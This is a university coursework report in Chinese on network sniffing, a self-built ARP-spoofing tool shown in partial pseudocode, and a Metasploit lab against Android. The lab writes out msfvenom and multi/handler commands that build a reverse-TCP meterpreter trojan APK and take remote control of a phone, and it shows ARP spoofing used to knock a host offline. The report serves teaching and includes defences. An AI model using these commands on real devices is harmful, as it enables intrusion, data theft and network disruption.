
课程编号：B080209040 

信息安全工程实践 4 

实践报告 

姓 名 薛旗 学 号 20155362 

班 级 软信-1503 指 导 教 师 王冬琦 

开 设 学 期 2 0 1 7 - 2 0 1 8 第 二 学 期 

开 设 时 间 第 1 周 — — 第 3 周 

报 告 日 期 2018.03.26 

评 定 成 绩 
评 定 人 

评 定 日 期 

东北大学软件学院 

www.fla
gx

ue.c
n



 

 

 

实验 1 协议分析和网络嗅探 

1. 实践内容 

1) 通过使用 Sniffer Pro 软件掌握 Sniffer(嗅探)工具的使用方法，实现捕捉

FTP、HTTP等协议的数据包； 

2) 理解 TCP/IP协议中多种协议的数据结构、会话连接建立和终止的过程； 

3) 了解 FTP、HTTP等协议明文传输特性，增强安全意识。 

2. 实践过程 

2.1 搭建 FTP 服务器(工具：FileZilla Server) 

 

（1）初始化及配置 （2）设置用户账户 

  

（3）设置共享文件夹路径，配置权限 （4）配置成功 
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2.2 登陆并测试 FTP服务器 

 

（1）打开浏览器，连接远程 FTP 服务器 （2）输入帐户密码，登陆 FTP 服务器 

 

 

（3）登陆成功，可查看该共享文件夹下内容 （4）用户连接信息显示在服务器窗口 

 

 

 

 

 

 

2.3 协议分析及网络嗅探（工具：Sniffer Pro） 

 

(1)打开 Sniffer Pro，显示主界面 （2）定义过滤器：只抓取 FTP 数据 
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（3）定义过滤器：指定希望捕获的 IP 地址 （4）定义好的过滤器，开始抓包 

 

 

（5）Traffic Map 视图 （6）Decode 页面 

  

（7）其他信息 （8）类似以上步骤，捕获 HTTP 数据包 
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实验 2 ARP 攻击的设计与实现 

 

1. 实践内容 

1) 设计并实现 ARP 攻击 

2) 可以设计并实现其他攻击 

2. 实践过程 

2.1  ARP 攻击原理分析 

 
2.1.1  ARP 数据报格式 

 
2.1.2  ARP 工作原理 

ARP（Address Resolution rotocol，地址解析协议）是将 IP 地址解析为以太网 MAC 地

址（或称物理地址）的协议。 

(1)A 先在其 ARP 高速缓存中查看有无 B 的 IP 地址。如有，就在 ARP 高速缓存中查出

其对应的硬件地址，再把这个硬件地址写入 MAC 帧，然后通过局域网把该 MAC 帧发往此

硬件地址。如果查不到 B 的 IP 的项目，则进入第（2）步。 

(2)A 的 ARP 进程在本局域网上广播发送一个 ARP 请求分组，主要内容是 A 自己的 IP

地址、MAC 地址，询问的 IP 地址（也就是 B 的 IP 地址）。 

(3)在本局域网上的所有主机运行的 ARP 进程都收到此 ARP 请求分组。 

(4)主机 B 的 IP 地址与 ARP 请求分组中要查询的 IP 地址一致，就收下这个 ARP 请求分

组，并向 A 单播发送 ARP 响应分组（其中写入了 B 自己的硬件地址），同时将 A 的地址映

射写入自己的 ARP 高速缓存中。由于其余的所有主机 IP 地址都与 ARP 请求分组要查询的

IP 地址不一致，因此都不理睬这个 ARP 请求分组。 

(5)A 收到 B 的 ARP 响应分组后，就在其 ARP 高速缓存中写入 B 的 IP 地址到硬件地址

的映射。 

至此，A 得到了从 B 的 IP 地址到其 MAC 地址的映射。当这个映射项目在高速缓存中

保存超过生存时间，将被从高速缓存中删除。 

 

2.1.3  ARP 欺骗原理： 

ARP 自动学习的目的，就是通讯的双方主机互相请求/告知 MAC 地址，并以此完成二

层的以太网帧交换，由于通讯的双向性，很显然如果任何一方的 ARP 信息是空或者错误的，

那么通讯就会失败。而 ARP 欺骗的目的就是频繁的发送错误消息欺骗网络通信的任何一方，

最终导致不能正常通信。 
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2.2  ARP 攻击模块部分 

 

 

2.2.1  程序初始化 

 int get_ip_by_domain(const char *domain, char *ip); // 根据域名获取 ip 

int get_local_mac(const char *eth_inf, char *mac); // 获取本机 mac 

int get_local_ip(const char *eth_inf, char *ip); // 获取本机 ip 

 

伪代码： 

// 根据域名获取 ip 

int get_ip_by_domain(const char *domain, char *ip){ 

    hptr = gethostbyname(domain); 

    ...... 

    for(pptr = hptr->h_addr_list ; *pptr != NULL; pptr++){ 

        if (NULL != inet_ntop(hptr->h_addrtype, *pptr, ip, IP_SIZE) ){ 

            return 0; // 只获取第一个 ip 

        } 

    } 

    return -1; 

} 

 

// 获取本机 mac 

int get_local_mac(const char *eth_inf, char *mac){ 

    ...... 

    sd = socket(AF_INET, SOCK_DGRAM, 0); 

    strncpy(ifr.ifr_name, eth_inf, sizeof(ifr.ifr_name) - 1); 

    ...... 

    snprintf(mac, MAC_SIZE, "%02x:%02x:%02x:%02x:%02x:%02x", 

        (unsigned char)ifr.ifr_hwaddr.sa_data[0], 

        (unsigned char)ifr.ifr_hwaddr.sa_data[1], 

        (unsigned char)ifr.ifr_hwaddr.sa_data[2], 

        (unsigned char)ifr.ifr_hwaddr.sa_data[3], 

        (unsigned char)ifr.ifr_hwaddr.sa_data[4], 

        (unsigned char)ifr.ifr_hwaddr.sa_data[5]); 
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    close(sd); 

    return 0; 

} 

 

// 获取本机 ip 

int get_local_ip(const char *eth_inf, char *ip){ 

    ...... 

    sd = socket(AF_INET, SOCK_DGRAM, 0); 

    ...... 

    strncpy(ifr.ifr_name, eth_inf, IFNAMSIZ); 

    ifr.ifr_name[IFNAMSIZ - 1] = 0; 

    ...... 

    memcpy(&sin, &ifr.ifr_addr, sizeof(sin)); 

    snprintf(ip, IP_SIZE, "%s", inet_ntoa(sin.sin_addr)); 

    close(sd); 

    return 0; 

} 

 

2.2.2  选择网络接口 

查找最合适接口：device = pcap_lookupdev(errBuf); 

加载全部设备列表：ret = pcap_findalldevs(&it,errbuf); 

 

2.2.3  设置扫描网段，扫描活跃主机： 

 启用多线程，防止扫描界面卡死。 

 创建类 MyThread，公有继承自 QThread，通过重写 run()方法来处理网段扫描。 

 扫描：temp_str = "nmap -sP " + globle_ip_segment + " -T5"; 

 ARP 缓存表重定向：system("cat /proc/net/arp > list.txt"); 

 从文件读取 ARP 缓存表并打印： 

QTextStream in(&file); 

QString line = in.readLine(); 

  while (!line.isNull()){ 

        line = in.readLine(); 

        ui->net_info_wid->addItem(new QListWidgetItem(QString(line))); 

} 

 

2.2.4  设置参数 

void get_ip_mac(QString str); //正则匹配，得到 IP 和 MAC 

 

伪代码： 

//正则匹配 IP 

QRegExp ip_rx("(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})"); 

int pos = str.indexOf(ip_rx); 

if(pos >= 0){ 

temp = ip_rx.cap(0); 
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reg_ip = ip_rx.cap(0); 

} 

//正则匹配 MAC 

QRegExp max_rx("([0-9a-f]{2}):([0-9a-f]{2}):([0-9a-f]{2}):([0-9a-f]{2}):([0-9a-f]{2}):([0-9a-f]{2})"); 

pos = str.indexOf((max_rx)); 

if(pos >= 0){ 

    temp = max_rx.cap(1); 

    reg_mac = max_rx.cap(0); 

} 

 

2.2.5  构造 ARP 包 

 

伪代码： 

//构造以太网首部目标 MAC 地址及以太网 ARP 字段目标 MAC 地址 

for(i = 0; i < 6; i++){ 

temp_trans += "0x" + max_rx.cap(flag++); 

str_cheat_host = temp_trans.toStdString(); 

packet[i] = strtoul(str_cheat_host.c_str(),0,0);  //以太网首部目标 MAC 地址 

packet[i + 32] = packet[i];  //以太网 arp 字段目标 MAC 地址 

temp_trans = ""; 

} 

//以太网源地址 

 flag = 1; 

 pos = host_mac.indexOf((max_rx)); 

 if(pos >= 0){ 

      for(i = 6; i < 12; i++){ 

           temp_trans += "0x" + max_rx.cap(flag++); 

           str_insert_mac = temp_trans.toStdString(); 

           packet[i] = strtoul(str_insert_mac.c_str(),0,0); //以太网首部源 MAC 地址 

           temp_trans = ""; 

      } 

  } 

 

  //帧类型 

  packet[12]=0x08; 

  packet[13]=0x06; 

  //硬件类型 

packet[14]=0x00; 

  packet[15]=0x01; 

  // 协议类型 

  packet[16]=0x08; 

  packet[17]=0x00; 

  //硬件地址长度 

  packet[18]=0x06; 
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  //协议地址长度 

  packet[19]=0x04; 

  //option 字段 

  packet[20]=0x00; 

  packet[21]=0x02; 

 

  //ARP 字段发送者 MAC 地址 

  flag = 1; 

  QString insert_mac = ui -> insert_mac -> text(); 

  pos = insert_mac.indexOf((max_rx)); 

  if(pos >= 0){ 

      for(i = 22; i< 28; i++){ 

           temp_trans += "0x" + max_rx.cap(flag++); 

           str_insert_mac = temp_trans.toStdString(); 

           packet[i] = strtoul(str_insert_mac.c_str(),0,0); //ARP 字段首部源 MAC 地址 

           temp_trans = ""; 

      } 

  } 

 

  //发送者 IP(假冒的 IP) 

  flag = 1; 

  QRegExp ip_rx("(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})"); 

  flag = 1; 

  QString insert_ip = ui -> insert_ip -> text(); 

  pos = insert_ip.indexOf((ip_rx)); 

  if(pos >= 0){ 

      for(i = 28; i< 32; i++){ 

           temp_trans = ip_rx.cap(flag++); 

           str_insert_ip = temp_trans.toStdString(); 

           packet[i] = atoi(str_insert_ip.c_str()); 

           temp_trans = ""; 

      } 

  } 

 

 

//arp 字段目标 ip 

flag = 1; 

  pos = reg_des_ip.indexOf((ip_rx)); 

  if(pos >= 0){ 

      for(i = 38; i< 42; i++){ 

           temp_trans = ip_rx.cap(flag++); 

           str_reg_des_ip = temp_trans.toStdString(); 

           packet[i] = atoi(str_reg_des_ip.c_str()); 

           temp_trans = ""; 
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      } 

  } 

 

  //数据填充 

  for(i = 42; i < 60; i++){ 

    packet[i]=0x00; 

  } 

 

2.2.6  执行攻击 

启用多线程，防止扫描界面卡死。 

 创建类 CheatThread，公有继承自 QThread，通过重写 run()方法来处理网段扫描。 

cheat_fun.start(); 

 while(attack_flag){ 

        pcap_sendpacket(adhandle, packet,60 ); 

        sleep(2); 

} 

 

2.2.7  抓包审查 

for(i=0;i<60;i++){ 

    sprintf(buf, "%02x ",packet[i]); 

    str_out_put = buf; 

    qstr_out_put += QString::fromStdString(str_out_put); 

    ui -> output_info -> setPlainText(qstr_out_put); 

} 

 

2.3  嗅探统计部分 

 

2.3.1  底层模块(数据包捕获) 

 （1）通过 Libpcap 提供的网络数据包捕获接口,捕获流经本网卡的所有原始数据包。 

本实验设计的底层模块的初始化工作在函数 pcap_t* open_pcap_socket(char* 

device, const char* bpfstr)中,定义的回调函数为 void capture_loop(pcap_t* pd, 

int packets, pcap_handler func), 捕 获 的 数 据 包 处 理 主 函 数 为 void 

parse_packet(u_char *user, struct pcap_pkthdr *packethdr,u_char *packetptr) 

 

 （2）数据包捕获步骤及函数说明 

 a.网络设备查找 

  char *pcap_lookupdev(char *errbuf) 

  获取可被函数调用的网络设备名指针。 

 b.打开网络设备 

  pcap_t *pcap_open_live(char *device, int snaplen, int promisc, int to_ms, 

char *ebuf) 

  获得用于捕获网络数据包的数据包捕获描述字。 

 c.获取网络参数 

  int pcap_lookupnet(char *device, bpf_u_int32 *netp,bpf_u_int32 *maskp, 
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char *errbuf) 

  获得指定网络设备的网络号和掩码。 

 d.编译过滤策略 

  int pcap_compile(pcap_t *p, struct bpf_program *fp,char *str, int optimize, 

bpf_u_int32 netmask) 

  将 str 参数指定的字符串编译到过滤程序中。 

 e.设置过滤器 

  int pcap_setfilter(pcap_t *p, struct bpf_program *fp) 

  指定一个过滤程序。 

 f.利用回调函数捕获数据包 

  int pcap_loop(pcap_t *p, int cnt,pcap_handler callback, u_char *user) 

  捕获并处理数据包。 

 g.关闭网络设备 

  void pcap_close(pcap_t *p) 

  关闭 p 参数相应的文件， 并释放资源。 

 

 2.3.2  中层模块(MAC 层处理模块,IP 层处理模块,TCP 处理模块,UDP 处理模块,ICMP

处理模块)  

  （1）模块结构 

  void print_ethernet(struct ether_header* eth) 显示以太网帧头部结构信

息 

  void print_arp(struct ether_arp *arp) 显示 arp 报头结构信息 

  void print_ip(struct ip *ip) 显示 ip报头结构信息 

  void print_tcp(struct tcphdr *tcp) 显示 tcp报头结构信息 

  void print_udp(struct udphdr *udp) 显示 udp报头结构信息 

  void print_icmp(struct icmp *icmp) 显示 icmp 报头结构信息 

  void dump_packet(unsigned char * buff, int len)  

将从 Ethernet 报头的初始地址到 FCS 之前的值使用十六进制整数和 ASCII 码

来表示。 

  char *mac_ntoa(u_char *d) 将 MAC地址变换为字符串 

  char *ip_ttoa(int flag)  将 IP报头中的标志变换为 ASCII 码辅助函数 

  char *ip_ftoa(int flag)  将 IP报头中的标志变换为 ASCII 码辅助函数 

  char *tcp_ftoa(int flag) 将 TCP报头中的标志变换为 ASCII 码辅助函数 

   

（2）实现方法 

通过 Libpcap 提供的网络数据包捕获接口捕获流经本网卡的所有原始数据包。

在回调函数中循环处理捕获的数据包.首先，开始处理 Ethernet 的报头。检查

Ethernet 类型之后，分析进行 ARP 协议、IP 协议、其他协议的处理。如果为 IP

协议，则进一步地进行 IP 报头的处理，然后，分别进行下面的 TCP 协议、UDP 协

议、ICMP 协议、其他协议等的任一处理。如果判明了协议类型，则按照命令行可

选域的指示，显示相关的报头。报头的显示在传输层一级上知道了包的种类之后进

行。并且，按照 Ethernet 报头的顺序进行显示。 
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2.3.3  上层统计处理模块(数据包统计模块,数据包协议统计模块,网络元发现模块,

数据包构造模块,数据包过滤模块) 

   

（1）相关函数: 

   void parse_packet(u_char *user, struct pcap_pkthdr *packethdr,u_char 

*packetptr) 

   统计变量寄存位置 

   void bailout(int signo) 

   打印并输出统计信息 

   int main(int argc, char **argv) 

   开始时间统计变量寄存位置 

 

  （2）主要功能 

  a.网络元发现:发现网络上的主机。 

  b.数据包统计模块及数据包协议统计模块.本次实验中统计模块包含的统计信息

有: 

开始时间,结束时间,运行时间,捕获的所有数据包,丢弃的数据包,数据包捕获

速度,网络超长帧,网络超短帧 ,数据帧大小(MAC Bytes),捕获数据帧速率

(bits/s),ARP数据包,IP数据包,TCP数据包,UDP数据包,ICMP数据包,RARP数据包,

其他数据包。 

c.设计过滤规则.根据过滤条件对数据包进行过滤.本次实验中实现了对不同协议

的数据包进行过滤。 
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2.3.4  流程图 

 

 

 

 

开始

检查命令行的一个

可行域
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访问接口

pcap_loop循环抓包

处理包
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类型
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型

显示Ethernet报头

显示IP报头

显示Ethernet报头 显示Ethernet报头 显示Ethernet报头

显示IP报头 显示IP报头 显示IP报头

显示TCP包头 显示UDP报头 显示ICMP报头 显示unknown报头

显示Ethernet报头 显示Ethernet报头
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显示包的dump

pcap_loo

p循环

结束

ETHERTYPE_ARP 其它ETHERTYPE_IP

IPPROTO_TCP IPPROTO_UDP IPPROTO_ICMP 其它
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2.3  成果展示 

 

2.3.1  主界面 

（1）嗅探界面 （2）统计界面 

  

（3）ARP 攻击操作界面 （4）关于界面 
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2.3.2  ARP 攻击操作界面介绍 

 

 

①适配器：选择将要扫描的网络接口。其中点选默认即加载最佳适配的网络接口，加载全部

则加载当前设备所有接口。 

②扫描网段：默认局域网段设置为 192.168.0.1/24，其中 24 为子网掩码的前缀表示法，标识

子网掩码，代表数字 1 的个数。24 即 24 个 1，转化为点分十进制为 255.255.255.0。该扫描

网段需要用户根据实际情况设定。点击“开始扫描”则从设定的网段开始扫描局域网内活跃

的主机，并更新 ARP 缓存表。 

③活跃主机列表：扫描出来的活跃主机信息将显示在该列表中。 

④欺骗对象：分为单播和广播两种。单播只针对局域网内一台主机，广播则针对局域网内所

有主机。点击广播则会默认设置字段为 FF:FF:FF:FF:FF:FF。若选择单播，则可以通过双击

活跃主机列表中的主机快速填入设置字段。该字段的值会自动添加到 ARP 数据报文结构中

的以太网首部目的 MAC 地址和 ARP 请求/应答字段中目的以太网 MAC 地址。 

⑤欺骗 IP:冒充的 IP 地址。该字段将会自动添加到 ARP 请求/应答字段中的发送端 IP 地址。

可通过双击活跃主机列表中的主机快速填入。 

⑥伪造 Mac 地址：将要伪造的 MAC 地址。该字段会自动添加到 ARP 请求/应答字段中的发

送端以太网地址。可通过双击活跃主机列表中的主机快速填入。 

⑦ARP 包详细信息:发送的 ARP 数据报各字段详细信息将展示在该窗口。 

⑧命令控件：构造好 ARP 数据报后，点击“执行”则开始发起 ARP 攻击；点击“停止”则

停止 ARP 攻击；点击“清除日志”则清空当前日志信息。 

⑨设备信息：启动程序后，自动扫描设备信息，显示推荐的适配网络接口、本机 IP 及本机

MAC。 

⑩操作日志：显示用户操作的日志信息及状态提示。 
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2.3.3  步骤演示： 

 

预操作：查看预攻击目标在未遭受 ARP 攻击下的 ARP 缓存表。（通过比较攻击前后 ARP 缓

存表信息，来确定是否攻击成功） 

 

（1）启动主程序。系统初始化，加载设备信息，并将设备运行情况加载在操作日志中。 

（2）选择网络接口。程序初始化后将会提供一个默认最优接口。用户也可以选择“加载全

部”加载设备所有接口，自主选择扫描接口。 

 

（3）设置扫描网段。程序启动后将会加载默认的扫描网段。用户也可根据实际情况自行设

置。 

（4）开始扫描。点击“开始扫描”则从设定的网段开始扫描局域网内活跃的主机，并更新

ARP 缓存表。扫描出的活跃主机信息将加载在列表中。 
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（5）依次选择欺骗对象、欺骗 IP 及伪造的 Mac 地址。三者都可通过双击活跃主机列表中

的主机快速填入。 
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（6）开始执行 ARP 攻击。发送的 ARP 数据报各字段详细信息将展示在 ARP 包详细信息窗

口。 

 

（7）查看数据报详细信息。转到“嗅探”界面，选择过滤规则，配置其他选项，点击“运

行”，开始抓包。获取的包信息将展示在详细界面。 
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（8）查看攻击效果。可以看到，被攻击目标的 ARP 缓存表已发生改变，欺骗 IP 对应的 Mac

地址以被改为伪造的 MAC 地址 00:00:00:00:00:00。 
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（9）停止攻击。可看到在操作日志处已更新信息。 

 

（10）同以上步骤，重新选择欺骗对象、欺骗 IP 及伪造的 Mac 地址，重新发起 ARP 攻击。

此次欺骗对象为网关，欺骗 IP 为局域网内的某台主机，使其上不了网。 
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（11）再次查看攻击效果。发现目标主机已无法上网。 

 

（12）转到“统计”页面，可查看统计信息。 
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（13）关于页面 

 

 

 

2.3.4  ARP 攻击防范方法 

 

（1）静态绑定。对每台主机进行 IP 和 MAC 地址静态绑定。 

（2）使用 ARP 防护软件，善用 ARP 防火墙和 ARP 病毒查杀软件。 

（3）采用 VLAN 技术隔离端口，将 VLAN 和交换机端口绑定。通过划分 VLAN 和交换机

端口绑定，防范 ARP 攻击。 

（4）禁用某个网络接口做 ARP 解析。 
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实验 3 新的网络攻击手段的论述 

1. 简介 

随着智能手机的普及，以智能手机为平台的应用软件越来越多，这些软件极大丰富了人

们的生活，带给人们极大的便利。但是伴随着手机软件的爆炸式增长，一些恶意软件也大量

出现在互联网上，骗取用户下载安装，危害用户移动设备安全。近些年，以安卓系统为平台

的设备与日俱增，伴随着市场占有率的快速上涨，其安全性也引发了极大的关注。同时因为

安卓系统的开源性，更加方便了不法分子编写安卓平台恶意软件，非法获取用户信息。本实

验将模拟针对安卓设备的网络攻击，通过生成恶意软件，诱导用户安装（通过链接或软件捆

绑），从而达到监听用户数据，后台获取用户信息的目的。 

2. 攻击原理 

通过 Metasploit Framework(MFS)生成木马文件，通过链接或恶意软件捆绑，诱导用户下

载安装，从而入侵 Android 手机。 

3. 工作过程或步骤流程（所用工具介绍） 

操作系统：Kali Linux 

使用工具: Metasploit Framework(MSF) 

工具介绍：MetasploitFramework 是一套针对远程主机进行开发和执行“exploit 代码”的

工具。 

使用步骤： 

（1）选择并配置一个攻击代码(exploit)，利用漏洞来进入目标系统 

（2）检测目标系统是否会被此代码影响 

（3）选择并配置有效载荷(payload)，成功入侵系统后在目标系统执行代码 

（4）选择编码方式 

（5）执行攻击代码 
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详细操作步骤： 

（1）打开终端，查看本地 IP 地址 

 >> ifconfig 

 通过指定接口，可以看到本地 IP 地址为 192.168.0.102 

 

（2）使用 msfvenom 工具生成 apk 木马文件 

 msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=6666 R > 

/root/hack.apk 

 

 参数详解: 

 -p 指定需要使用的 payload(攻击载荷)，是系统被攻陷后执行的操作。通常攻击载荷附

加于漏洞攻击模块之上，随漏洞攻击一起分发。 

 singles:自包含，完全独立，类似小的可执行文件 

 stagers:攻击者和被攻击者之间建立网络连接 

 stages:stagers 模块下载的载荷组件 

 -LPORT:接收反弹 Shell 的主机，即本地 IP 地址 

 -LPORT:接收反弹 Shell 主机的监听端口 

 /root/hack.apk:生成木马文件 apk 目录 

（3）打开 postgresql 数据库 

 >> service postgresql start 

（4）初始化数据库服务 

 >> msfdb init 

（5）启动 metasploit 控制台 

 >> msfconfole 
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（6）加载模块 

 >> use exploit/multi/handler 

（7）选择 payload(攻击载荷) 

 >> set payload android/meterpreter/reverse_tcp 

（8）查看参数 

 >> show options 

 

（9）设置参数，将 LHOST 设置为本地 IP，即 192.168.0.102；将 LPORT 设置为刚才设置的

监听端口 6666 

 >> set LHOST 192.168.0.102 

 >> set LPORT 6666 
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（10）查看参数是否设置成功 

 >> show options 

 

（11）将 hack.apk 安装到手机 

（12）执行漏洞，开始监听，等待手机上线。待手机执行该应用时，将自动连接会话 

 >> exploit 

 

 

至此入侵系统成功 

 

4. 功能或后果 

入侵系统成功后，恶意软件将会建立 TCP 连接，攻击方将会通过 msfconfole 控制终端远

程操控用户设备，获取用户信息 

（1）查看入侵系统信息 

>> sysinfo 
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（2）查看更多指令 

 >> help 

 

 

（3）通过相关指令即可获得相关信息 
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5. 防范手段与措施 

（1）购买手机或者下载安装 APP，最好通过官方、正规渠道，尽量不要通过第三方销

售平台或者第三方应用商店，防止软件后门及恶意软件捆绑。 

（2）要特别注意不要轻易点击下载具有诱导性质的链接或者弹窗提供的 APP，防止下

载到恶意软件，造成数据泄露。 

（3）在使用手机的过程中，要善用安全管理软件，在安装软件时对应用程序及安装包

进行安全扫描，确保软件安全再进行安装。 

（4）如果对设备有高安全性需要，应当对设备添加密码保护，要对设备进行及时备份。 

（5）注意应用申请的权限信息，是否存在申请过多权限的问题。 

（6）尽可能的升级操作系统，防止漏洞利用 

（7）关注进程列表，确保只有受信任进程运行。如果发现未知进程，考虑移除进程并

对手机进行病毒查杀。 

 

6. 结论（个人观点） 

在大数据大安全时代，移动终端设备面临的威胁日益增多：恶意软件层出不穷，方法手

段更加隐蔽，诈骗电话、欺诈短信、钓鱼链接、木马病毒、勒索软件等，给移动终端用户带

来很多安全问题。因此用户在这个时代背景下，需要提高自己的辨别能力，不去点击可疑链

接，不访问不正当内容，不轻信诱导性软件提供的信息，不随便扫街边二维码，以防恶意软

件在后台偷偷下载安装运行，导致手机崩溃或信息泄露。 
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实践总结 

1. 参考资料 

David Kennedy, Jim O’Gorman 等著：《Metasploit 渗透测试指南》，电子工业出版社，2012 

2. 实践总结 

通过实验一，我学会了使用 Sniffer Pro 软件，并通过该软件进行协议分析和网络嗅

探，知道了如何捕获 FTp、HTTP 等协议的数据包，理解了 TCP/IP 协议中多种协议的

数据结构、会话连接建立和终止的过程。同时在实践过程中，学会了自己搭建 FTP 服

务器。 

通过实验二，我掌握了 ARP 协议的攻击原理，并通过 QT 设计了一款能够实现 ARP

攻击的图形界面软件，提出了防范 ARP 攻击的方法，将理论知识运用于实践。在本实

验的基础上，我进行了一些拓展，实现了通过利用 Libpcap 提供的网络数据包捕获接口

捕获流经本网卡的所有原始数据包，并在此基础上对捕获的数据包进行统计分析。与此

同时了解了如何通过编写过滤条件，对网络数据包进行过滤，提取出所关心的网络数据。

本实验对我的编程能力和综合能力有很大的提升。 

通过实验三，我针对互联网上恶意软件泛滥的问题，通过 Metasploit 

Framework(MSF)模拟实现了 Android 系统下木马 APK 文件生成及渗透入侵、监听用户

数据、非法获取用户数据信息的过程，懂得了攻击原理及后果，并提出了防范手段及措

施，对自身实践能力有很大的提升。 

总之，通过本次实验，将平时上课所学理论知识转化为了实践，不仅提高了自身的

编程能力，还提高了自己解决问题和思维的能力，获益匪浅。希望多多开设这样的实践

课，在实践中提升自己的综合能力。 
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评价表格： 

 

考核标准 得分 

（1）实现实践要求基本内容（60%）；  

（2）实验过程中，具有严谨的学习态度和认真、踏实、一丝不苟的科学作风（10%）；  

（3）所做实验具有一定的创新性（20%）；  

（4）实验报告规范（10%）。  

 

www.fla
gx

ue.c
n




